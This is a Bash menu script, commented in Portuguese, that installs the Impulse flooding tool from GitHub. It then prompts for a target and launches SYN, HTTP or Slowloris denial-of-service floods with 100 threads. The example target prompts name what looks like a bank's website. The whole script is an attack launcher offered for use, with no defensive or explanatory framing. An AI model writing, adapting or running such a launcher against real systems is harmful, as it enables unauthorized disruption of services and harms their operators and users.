Denial os Service [impulse]

#!/bin/bash

# Execucao do programa
ip()
{
    clear
    echo -e "\033[01;34m\n  ----- Execucao ----- \n\033[01;37m"

    cd Impulse/
    echo -n -e "\033[01;35m\n # IP (192.168.0.100): \033[01;37m"
    read target

    # Comando
    clear
    python3 impulse.py --method SYN --target $target:80 --threads 100
}

syn()
{
    clear
    echo -e "\033[01;34m\n  ----- Execucao ----- \n\033[01;37m"

    cd Impulse/
    echo -n -e "\033[01;35m\n # Host (http://www.bancocn.com): \033[01;37m"
    read target

    # Comando
    clear
    python3 impulse.py --method SYN --target $target --threads 100
}

http()
{
    clear
    echo -e "\033[01;34m\n  ----- Execucao ----- \n\033[01;37m"

    cd Impulse/
    echo -n -e "\033[01;35m\n # Host (http://www.bancocn.com): \033[01;37m"
    read target

    # Comando
    clear
    python3 impulse.py --method HTTP --target $target --threads 100
}

slowLoris()
{
    clear
    echo -e "\033[01;34m\n  ----- Execucao ----- \n\033[01;37m"

    cd Impulse/
    echo -n -e "\033[01;35m\n # Host (http://www.bancocn.com): \033[01;37m"
    read target

    # Comando
    clear
    python3 impulse.py --method SLOWLORIS --target $target --threads 100
}

# Instalacao do programa
instalacao()
{
    echo -e "\033[01;35m\n  ----- Instalacao ----- \n\033[01;37m"

    # Estutura de decisao: Analisar se o arquivo existe
    if [[ -r Impulse ]]
    then
        echo -e "\033[01;33m\n # Diretorio existente \n\033[01;37m"

    else
        apt install python3 python3-pip git -y
        git clone https://github.com/LimerBoy/Impulse
        cd Impulse/
        pip3 install -r requirements.txt
        cd ../
    fi
}

clear
echo -e "\033[01;34m --------------\033[01;37m"
echo -e "\033[01;35m    Impulse    \033[01;37m"
echo -e "\033[01;34m --------------\033[01;37m"
echo ""
echo -e "\033[01;35m [1] IP (rede interna) \033[01;37m"
echo -e "\033[01;36m [2] SYN           \033[01;37m"
echo -e "\033[01;37m [3] HTTP          \033[01;37m"
echo -e "\033[01;31m [4] SlowLoris     \033[01;37m"
echo -e "\033[01;32m [5] Instalacao        \033[01;37m"
echo ""
echo -e -n "\033[01;33m - Opc: \033[01;37m"
read opc
clear

# Estrutura de escolha
case $opc in

1)  ip;;
2)  syn;;
3)  http;;
4)  slowLoris;;
5)  instalacao;;
*)  ;;

esac